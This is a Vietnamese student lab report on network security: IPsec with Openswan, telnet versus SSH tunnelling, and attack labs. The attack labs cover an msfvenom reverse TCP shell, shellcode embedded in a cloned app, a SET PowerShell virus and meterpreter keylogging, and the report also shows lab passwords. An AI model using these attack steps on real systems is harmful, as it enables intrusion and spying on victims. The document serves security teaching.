24 Bước 15: Cài SSH server trên máy người quản trị và thực hiện một remote forwarding từ mysql port 3306 đến remote port 2001 của máy người quản trị 26 Bước 16: Thực hiện kết nối từ máy
Trang 22 Chuẩn bị 8
Bước 1: Download openswan giải nén và cài đặt 10
Bước 5: hiệu chỉnh file /etc/ipsec.còn trên cả 2 máy 12
Bước 7 : Khởi động lại openswan trên cả 2 máy 13 Bước 8 : Khởi động lại kết nối trên cả 2 máy 13
LAB 2 : THỰC HIỆN AN TOÀN CHO MỘT KẾT NỐI QUẢN TRỊ TỪ XA nguyet Aa12345678 14
Bước 4: Tạo một user, tự đặt một username và password 15 Bước 5: Tạo một cơ sở dữ liệu có tên là saigondb 15Bước 6: Thiết lập quyền truy xuất cho user đã tạo 15Bước 7: Xem cơ sở dữ liệu bằng lệnh show databases 15 Bước 8: Đăng xuất khỏi mysql và mở telnet service 16 Bước 9: Dùng máy thật của người quản trị cấu hình 1 kết nối Putty đến MySQL server , cần xác định
Trang 3Bước 10: Mở wireshark để tiến hành bắt gói tin 17 Bước 11: Thực hiện đăng nhập từ xa vào Linux server và tiến hành đăng nhập vào cơ sở dữ liệu bằng
Bước 1: Mở putty cấu hình tùy chọn SSH và thực hiện lại kết nối đăng nhập như bước 11 18Bước 2: Cài đặt openSSH server trên máy chạy server 20 Bước 3: Cấu hình file /etc/ssh/sshd_config 20
Bước 5: Thực hiện một kết nối từ một máy Ubuntu đến máy chạy ssh server đã cài đặt ở trên 20Bước 7: Thực hiện ssh <user>@<IP> -p53 21 Bước 7: Cấu hình forwarding port giữa port 3307 và 53 21 Bước 8: Thực hiện nc <ip address> 3307 trên máy người quản trị 22 Bước 9: Cấu hình port forwarding để kết nối mysql server qua ssh 22Bước 10: Hủy forwarding ở bước 7 và thực hiện lại bước 9 23
Bước 12: Trên máy người quản trị thưc hiện port forwarding đến mysql server 24 Bước 13: Thực hiện kết nối đến mysql server từ máy người quản trị 24Bước 14: Thực hiện đăng nhập mysql với username đã tạo ở phần 1 và tiến hành vài thao tác quản trị 24 Bước 15: Cài SSH server trên máy người quản trị và thực hiện một remote forwarding từ mysql port
3306 đến remote port 2001 của máy người quản trị 26 Bước 16: Thực hiện kết nối từ máy người quản trị 26 Bước 17: thực hiên kết nối đến mysql server từ máy người quản trị bằng navicat 26
LAB 3: THỰC HIỆN REVERSE TCP ĐỂ LẤY SHELL 29
Bước 6: Tiến hành lấy shellcode bằng câu lệnh sau đó lưu vào file getshell.c 30 Bước 7: Biên dịch getshell.c thành getshell 31
Trang 4Bước 8: Mở handler bằng netcat 31
Bước 11: Quay lại máy attack , đã có kết nối từ máy victim và thực hiện chép file tcp_reverse.txt lên
Bước 12: Quay lại máy victim và đã có file tcp_reverse.txt 33
3 Tìm hiểu cách nhúng mọt getshell vào tập tin ứng dụng bất kì và thực thi 34
Bước 2: Chép tất cá shellcode vào file đã clone về từ git 34 Bước 3: Tiến hành thực thi trên máy victim 35Bước 4: Mở handler bằng netcat trên máy attack và đã có kết nối 35
LAB 4 : THỰC HIỆN TẤN CÔNG SOCIAL ENGINEERING THƯỜNG DÙNG TRONG APT 36
Bước 1: Chọn Social-Engineering Attacks Sau đó chọn Powershell Attack Vectors 36 Bước 2: Copy file virus ra ngoài desktop đổi đuôi txt thanhg bat 38 Bước 3: Trên máy victim tiến hành chạy fike virus 38 Bước 4: Trên máy attacker tiến hành lấy thông tin từ máy victim bằng câu lệnh sessions -i 38
2 Demo tấn công bằng cách clone 1 link giả mạo 39 Bước 1:Khởi động setoolkit để dùng công cụ Social-Engineering Attacks 40
Bước 2: Chọn mục Credential Havrester Attack Method 40
LAB 5: THIẾT KẾ MÔ HÌNH MẠNG DOANH NGHIỆP 43
Bước 3: Cấu hình WAN interface với IP Address:192.168.1.19/24 46
Trang 53.1 NAT để các PC trong LAN kết nối internet 48
4.1 Cho phép PC từ internet kết nối vào webserver trên DMZ 52 4.2 Không cho máy từ WAN kết nối vào máy máy trên LAN 53 4.3 Không cho các PC từ DMZ kết nối vào PC trên LAN 55
5 Cấu hình PAT để cho phép người dùng từ inside có thể truy cập internet 63
LAB 7: IPSEC VPN SITE TO SITE 64
LAB 8 TẤN CÔNG DDOS BẰNG SYNFLOOD VÀ HPING3 70
Bước 1 : Kiểm tra port 445 của máy nạn nhân có mở không 70 Bước 2 : Tiến hành giả lập máy ảo với địa chỉ 192.168.0.1 để tấn công máy nạn nhân với địa chỉ
Bước 1: Cấu hình file server.py trên máy server 74 Bước 2: Cấu hình file client.py trên máy client 77 Bước 3 : Thực thi file server.py trên máy server 80 Bước 4: Thực thi file client.py trên máy client 80Bước 5: Kiểm tra đã có kết nối trên máy attack 80
Trang 6Bước 7 : Mở taskmanager trên máy nạn nhân và theo dõi 81 Bước 8: Mở wireshark trên máy nạn nhân và theo dõi 81
Mục lục hình ảnh
Hình 10 Định nghĩa default getway trên máy cục bộ 13
Hình 12 Khởi động lại openswan trên cả 2 máy 14
Hình 14 Thông tin gói tin bắt được từ máy cục bộ 15Hình 15 Thông tin gói tin bắt được từ máy tư xa 15 Hình 16 Tạo một user mới trên máy mysql server 16
Hình 18 Thiết lập quyền truy xuất cho user nguyet đã tạo 16
Hình 21 Dùng máy thật tọa một kết nối putty đến mysql server 17 Hình 22 Kết nối thành công và thiwcj hiện vài thao tác quản trị 18Hình 23 Mở wireshark và xem xét, gói tin telnet 18 Hình 24 Đăng nhập từ xa vào linux server và đăng nhập vào cơ sỏ dữ liệu bằng username 19 Hình 25 Mở putty và tiến hành kết nối ssh port 22 20
Hình 28 Thực hiện kết nối đến máy chạy ssh server và kết quả bị chặn 21 Hình 29 Thực hiện ssh đến máy ssh server với port 53 22 Hình 30 Cấu hình forwading giữa port 3307 và 53 22
Hình 32 Cấu hình port forwarding để kết nối đến mysql server 23
Hình 34 Thực hiện nc localhost 3307 từ máy người quản trị 24Hình 35 Thực hiện port forwarding đến mysql server với port 53 25 Hình 36 Thông tin gói tin bắt được từ wireshark 25 Hình 37 Thực hiện tiến hành đăng nhập vào mysql 26
Trang 7Hình 38 Thực hiện và thực hiện một remote forwarding từ mysql port 3306 đến remote port 2001 của
Hình 39 Thực hiện kết nối từ máy người quản trị 27
Hình 41 Thực hiện xem cơ sở dữ liệu trên navicat 29
Hình 50 Biên dịch và thực thi shellcode trên máy victim 33 Hình 51 Kiểm tra kết nối và chép file lên máy victim 34Hình 52 Kết quả file chép từ attack lên victim đã có 35
Hình 54 Chép shellcode vào ứng dụng đã clone về 36 Hình 55 Tiến hành thực thi ứng dụng đã nhúng shellcode trên máy vitcim 36Hình 56 Mở handler trên máy attack và đã có kết nối 37
Hình 58 Powershell Alphanumeric Shellcode Injector 38
Hình 66 Khi máy nạn nhân đăng nhập vào website giả mạo, máy attack có thể lấy được username và
Hình 77 Đặt default getway cho máy trong LAN 49
Hình 79 Kiểm tra xem LAN đã vào được internet chưa 50
Trang 8Hình 80 Webserver Apache trên DMZ 51
Hình 83 Rules cho phép PC từ internet kết nối vào webserver trên DMZ 53
Hình 85 Rules không cho máy từ WAN kết nối vào máy máy trên LAN 55
Hình 87 Rules không cho các PC từ DMZ kết nối vào PC trên LAN 57
Hình 92 Thông tin cấu hình trên cổng outside 60 Hình 93 Thông tin cấu hình static route trên FW 60
Hình 96 Kết quả SSH vào FW trên ( PC 192.168.2.10) 61
Hình 99 Thông tin cấu hình NAT và ACL cho phép truy cập outside vào DMZ 61
Hình 101 kết quả remote desktop vào PC 192.168.10.10 64Hình 102 Kết quả truy cập dịch vụ remote desktop từ PC ngoài vùng outside 64 Hình 103 Thông tin cấu hình PAT cho phép inside truy cập internet 64 Hình 104 Kết quả truy cập internet từ PC (192.168.2.10) (inside) 65 Hình 105 Kết quả ping từ PC ( 192.168.2.10 inside) đến PC (192.168.10.10 DMZ) 65Hình 106 Mô hình thực hiện cấu hình IPSEC VPN SITE TO SITE 66 Hình 107 Thông tin cấu hình chính sách IKE trên router SAIGON 66 Hình 108 Thông tin key và peer trên router SAIGON 67 Hình 109 Thông tin cấu hình chính sách IPSEC trên router SAIGON 67Hình 110 Xác định luồng dữ liệu sẽ được mã hóa hay bảo vệ trên souter SAIGON 67 Hình 111 Cấu hình crypto map trên router SAIGON 67 Hình 112 Thông tin cấu hình chính sách IKE trên router VUNGTAU 67 Hình 113 Thông tin key và peer trên router VUNGTAU 68Hình 114 Thông tin cấu hình chính sách IPSEC trên router VUNGTAU 68 Hình 115 Xác định luồng dữu liệu được mã hóa hay bảo về trên router VUNGTAU 68 Hình 116 Thông tin cấu hình crypto map trên router VUNGTAU 68
Hình 123 Trên máy tấn công kiểm tra port 445 của máy nạn nhân 71
Trang 9Hình 124 Gói tin synlood ở 111 71 Hình 125 Dùng msfconsole để show các options 72
Hình 127 Biểu đồ hoạt động của cpu trên máy nạn nhân 73
Hình 129 Mở taskmanager trên máy nạn nhân và theo dõi bểu đồ 74
Hình 135 Thực thi file server.py để tạo botnet 81 Hình 136 Thực thi file client.py để kết nối đến máy server 81 Hình 137 Kiểm tra kết nối trên máy server bằng lệnh list 81
Hình 139 Thông tin cpu trên máy nạn nhân khi bị tấn công 82 Hình 140 Thông tin cpu trên máy nạn nhân khi ngừng tấn công 82 Hình 141 Gói tin bắt được khi bị tấn công trên máy nạn nhân 83
LAB 1 : THIẾT LẬP IPSEC CONNECTION DÙNG OPENSWAN
1 Mục đích
Tạo lập được một kênh an toàn IPsec giữa hai máy tính sử dụng Openswan
Bắt dữ liệu để kiểm tra
2 Chuẩn bị
Máy cục bộ Ubuntu 14.04 192.168.36.154 Lab1
Trang 10Máy từ xa Ubuntu 14.04 192.168.35.166 Lab1server1
Hai máy Ubuntu getway, giả sử 2 máy đều ở phía sau của một NAT hoặc có địa chỉ IP cóthể định tuyến qua mạng công cộng, không có firewall Sẽ cài đặt openswan và ipsec-tools trên cả hai máy
Mỗi máy cần định rõ các thông tin Địa chỉ IP , tên đề getway có thể tự nhận dạng trongthiết lập IPsec Tên có dạng tên miền đứng trước kí tự @
3 Thực hiện
Thực hiện trên cả 2 máy :
Hình 1 Thông tin máy cục bộ
Trang 11Hình 2 Thông tin máy từ xaBước 1: Download openswan giải nén và cài đặt
Hình 3 Download openswan và giải nénCài đặt openswan
Trang 12Hình 4 Cài đặt openswanBước 2: Sinh khóa RSA trên cả 2 máy
Hình 5 Thực hiện sinh khóa trên cả 2 máyBước 3:Lấy leftrsasigkey trên máy cục bộ
Hình 6 Lấu leftrsasigkey trên máy cục bộ
Trang 13Bước 4: Lấy rightrsasigkey trên máy từ xa
Hình 7 Lấy rightrsasigkey trên máy từ xaBước 5: hiệu chỉnh file /etc/ipsec.còn trên cả 2 máy
Hình 8 File ipsec.conf trên máy cục bộ
Hình 9 Thông tin ipsec.conf trên máy từ xaBước 6: Định nghĩa gateway
Trên máy cục bộ
Hình 10 Định nghĩa default getway trên máy cục bộ
Trang 15Bước 9 : Sử dụng wireshark để kiểm tra
Hình 14 Thông tin gói tin bắt được từ máy cục bộ
Hình 15 Thông tin gói tin bắt được từ máy tư xa
Aa12345678
I Chuẩn bị:
Dùng môi trường ảo VMware
Máy server 192.168.36.154 Ubuntu 14.04 Lab1
Máy từ xa 192.168.36.166 Ubuntu 14.04 Lab1server1Máy thật putty 192.168.36.1 Win 10 Home
II Thực hiện
Trên máy server
Bước 1: Cài đặt MySQL
server Apt-get install
mysql-server
Bước 2: Khởi động dịch vụ mysql server
Service mysql start
Bước 3: Đăng nhập vào mysql server
Mysql –u root –p
Trang 16Bước 4: Tạo một user, tự đặt một username và password
Create user’nguyet’@’localhost’ identified by ‘abc’
Với username là ‘nguyet’ và password là ‘abc’
Hình 16 Tạo một user mới trên máy mysql serverBước 5: Tạo một cơ sở dữ liệu có tên là saigondb
Hình 17 Tạo một cơ sở dữ liệu saigondbBước 6: Thiết lập quyền truy xuất cho user đã tạo
Hình 18 Thiết lập quyền truy xuất cho user nguyet đã tạoBước 7: Xem cơ sở dữ liệu bằng lệnh show databases
show databases;
Hình 19 Xem cơ sở dữ liệu bằng lệnh show
Trang 17Bước 8: Đăng xuất khỏi mysql và mở telnet service
Hình 20 Khởi động dịch vụ telnetBước 9: Dùng máy thật của người quản trị cấu hình 1 kết nối Putty đến MySQL server , cần xácđịnh địa chỉ IP củ máy chạy MySQL
Hình 21 Dùng máy thật tọa một kết nối putty đến mysql server
Trang 18Hình 22 Kết nối thành công và thiwcj hiện vài thao tác quản trịBước 10: Mở wireshark để tiến hành bắt gói tin
Hình 23 Mở wireshark và xem xét, gói tin telnet
Trang 19Bước 11: Thực hiện đăng nhập từ xa vào Linux server và tiến hành đăng nhập vào cơ sở dữ liệubằng username
Hình 24 Đăng nhập từ xa vào linux server và đăng nhập vào cơ sỏ dữ liệu bằng usernameBước 12: Phân tích gói tin bắt được
Telnet không có mã hóa thông tin nên thông tin bắt được là ở dạng PlainText Điều này khiếnTelnet dần như là một kết nối nguy hiểm và không khuyến khích dùng cho môi trường doanhnghiệp hay đòi hỏi bảo mật thông tin cao
III Remote Access dung SSH
Bước 1: Mở putty cấu hình tùy chọn SSH và thực hiện lại kết nối đăng nhập như bước 11Kết nối không được phép vì port 22 chưa được cấu hình cho phép trong file sshd_config
Trang 20Hình 25 Mở putty và tiến hành kết nối ssh port 22
Hình 26 Kết quả kết nối bị chặn
Trang 21Bước 2: Cài đặt openSSH server trên máy chạy server
Bước 3: Cấu hình file /etc/ssh/sshd_config
Hình 27 Sửa file cấu hình sshd_configBước 4: Khởi động lại ssh
Service ssh start
Bước 5: Thực hiện một kết nối từ một máy Ubuntu đến máy chạy ssh server đã cài đặt ở trên
Hình 28 Thực hiện kết nối đến máy chạy ssh server và kết quả bị chặnKết nối bị chặn do khi thực hiện ssh lab1@192.168.36.154 mặc định kết nối ở port 22 , trongkhi máy chạy ssh server cho phép port 53 Do đó, mà khi sử dụng lệnh không chỉ định port, takhông thể kết nối ssh được
Trang 22Bước 7: Thực hiện ssh <user>@<IP> -p53
Hình 29 Thực hiện ssh đến máy ssh server với port 53Bước 7: Cấu hình forwarding port giữa port 3307 và 53
Hình 30 Cấu hình forwading giữa port 3307 và 53
Trang 23Bước 8: Thực hiện nc <ip address> 3307 trên máy người quản trị
Hình 31 Thực hiện nc đến máy serverThực hiện kết nối port forwading 3307 được cài đặt để kết nối localhost -> không thể netcat từmáy của quản trị viên đến máy server ở port 3307
Bước 9: Cấu hình port forwarding để kết nối mysql server qua ssh
Hình 32 Cấu hình port forwarding để kết nối đến mysql serverSsh đăng mở port kết nối là 53 , do đó khi sử dụng câu lệnh trên ssh mặc định vào port 22 nênkhông thể kết nối
Trang 24Bước 10: Hủy forwarding ở bước 7 và thực hiện lại bước 9
Hình 33 Thực hiện lại port forwarding
Bước 11 : Thực hiên nc localhost 3307
Hình 34 Thực hiện nc localhost 3307 từ máy người quản trị
Do port forwading 3307 đã bị huỷ trước đó, nên không thể thực hiện lệnh netcat localhost ở port3307
Trang 25Bước 12: Trên máy người quản trị thưc hiện port forwarding đến mysql server
Hình 35 Thực hiện port forwarding đến mysql server với port 53
Hình 36 Thông tin gói tin bắt được từ wiresharkBước 13: Thực hiện kết nối đến mysql server từ máy người quản trị
Nc localhost 3307
Bước 14: Thực hiện đăng nhập mysql với username đã tạo ở phần 1 và tiến hành vài thao tácquản trị
Trang 26Hình 37 Thực hiện tiến hành đăng nhập vào mysql
Trang 27Bước 15: Cài SSH server trên máy người quản trị và thực hiện một remote forwarding từ mysqlport 3306 đến remote port 2001 của máy người quản trị
Hình 38 Thực hiện và thực hiện một remote forwarding từ mysql port 3306 đến remote port
2001 của máy người quản trịBước 16: Thực hiện kết nối từ máy người quản trị
Hình 39 Thực hiện kết nối từ máy người quản trịBước 17: thực hiên kết nối đến mysql server từ máy người quản trị bằng navicat
Cài đặt
Trang 28# wget -q -O - http://www.navicat.com/download_linux_repo?lnx_repo=ubuntu | sudo tee/etc/apt/sources.list.d/navicatmonitor.list
# sudo apt-get update
# sudo apt-get install navicatmonitor
# sudo /etc/init.d/navicatmonitor start
Truy cập 192.168.36.166:3000
Tiến hành cài đặt những thông tin cần thiết
Hình 40 Thông tin đăng nhập vào navicat
Trang 29Thực hiện xem database
Hình 41 Thực hiện xem cơ sở dữ liệu trên navicat
Trang 30LAB 3: THỰC HIỆN REVERSE TCP ĐỂ LẤY SHELL
1 Mục đích
Thực hiện lấy shell một máy chủ qua mạng bằng cách dùng reverse TCP và shellcode
2 Chuẩn bị và công cụ
Máy attack Kali linux 192.168.36.155 Nguyet
Máy victim Ubuntu 192.168.36.166 Lab1server1
Bước 1: Tiến hành lấy shell bằng câu lệnh
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c platform linux arch x64
Thay đổi địa chỉ IP và PORT
Hình 42 Lấy shellcode bằng câu lệnh
Trang 31Bước 2: Chép shell vào file shell.c
Hình 43 File shell.cBước 3: Biên dịch shell.c thành shell
Hình 44 Biên dịch shell.cBước 4: Thực thi shell
Hình 45 Thực thi shell trên máy attackBước 5: Mở handler bằng netcat
Hình 46 Mở handler trên máy attackBước 6: Tiến hành lấy shellcode bằng câu lệnh sau đó lưu vào file getshell.c
Trang 32Hình 47 Lấy shellcode trên máy attackBước 7: Biên dịch getshell.c thành getshell
Hình 48 Biên dịch shellcode đã lấy ở trênBước 8: Mở handler bằng netcat
Bước 9: Chép getshell.c vào máy victim
Trang 33Hình 49 Chép shellcode lên máy victimBước 10: Biên dịch và thực thi getshell
Hình 50 Biên dịch và thực thi shellcode trên máy victimBước 11: Quay lại máy attack , đã có kết nối từ máy victim và thực hiện chép filetcp_reverse.txt lên máy victim
Trang 34Hình 51 Kiểm tra kết nối và chép file lên máy victimBước 12: Quay lại máy victim và đã có file tcp_reverse.txt
Trang 35Hình 52 Kết quả file chép từ attack lên victim đã có
3 Tìm hiểu cách nhúng mọt getshell vào tập tin ứng dụng bất kì và thựcthi Bước 1: Tìm source code từ git về
Hình 53 Source code một ứng dung trên gitBước 2: Chép tất cá shellcode vào file đã clone về từ git
Trang 36Hình 54 Chép shellcode vào ứng dụng đã clone vềBước 3: Tiến hành thực thi trên máy victim
Hình 55 Tiến hành thực thi ứng dụng đã nhúng shellcode trên máy vitcimBước 4: Mở handler bằng netcat trên máy attack và đã có kết nối
Trang 37Hình 56 Mở handler trên máy attack và đã có kết nối
LAB 4 : THỰC HIỆN TẤN CÔNG SOCIAL ENGINEERING
THƯỜNG DÙNG TRONG APT
Mô hình
Máy attack Kali linux 192.168.36.155 Nguyet
Máy victim Ubuntu 192.168.36.166 Lab1server1
1 Cài mã độc tấn công Social Engineering
Bước 1: Chọn Social-Engineering Attacks Sau đó chọn Powershell Attack Vectors
Trang 38Hình 57 Chọn Powershell Attack VectorsSau đó, tiếp tục chọn Powershell Alphanumeric Shellcode Injector Nhập địa chỉ IP của máyattacker để tiến hành tạo Virus tấn công Sau đó chọn yes
Hình 58 Powershell Alphanumeric Shellcode Injector
Trang 39Bước 2: Copy file virus ra ngoài desktop đổi đuôi txt thanhg bat
Bước 3: Trên máy victim tiến hành chạy fike virus
Bước 4: Trên máy attacker tiến hành lấy thông tin từ máy victim bằng câu lệnh sessions -i
Hình 59 Lấy thông tin từ máy nạn nhânLệnh sysinfo và ipcofig
Trang 40Hình 60 Lệnh sysinfoLệnh keyscan_start để tiến hành lấy dữ liệu từ máy victim
Lệnh keyscan_dump để lấy dữ liệu từ máy
victim Lệnh keyscan_stop để dừng lại
Lệnh screenshoot để chụp lại màn hình của máy victim
2 Demo tấn công bằng cách clone 1 link giả mạo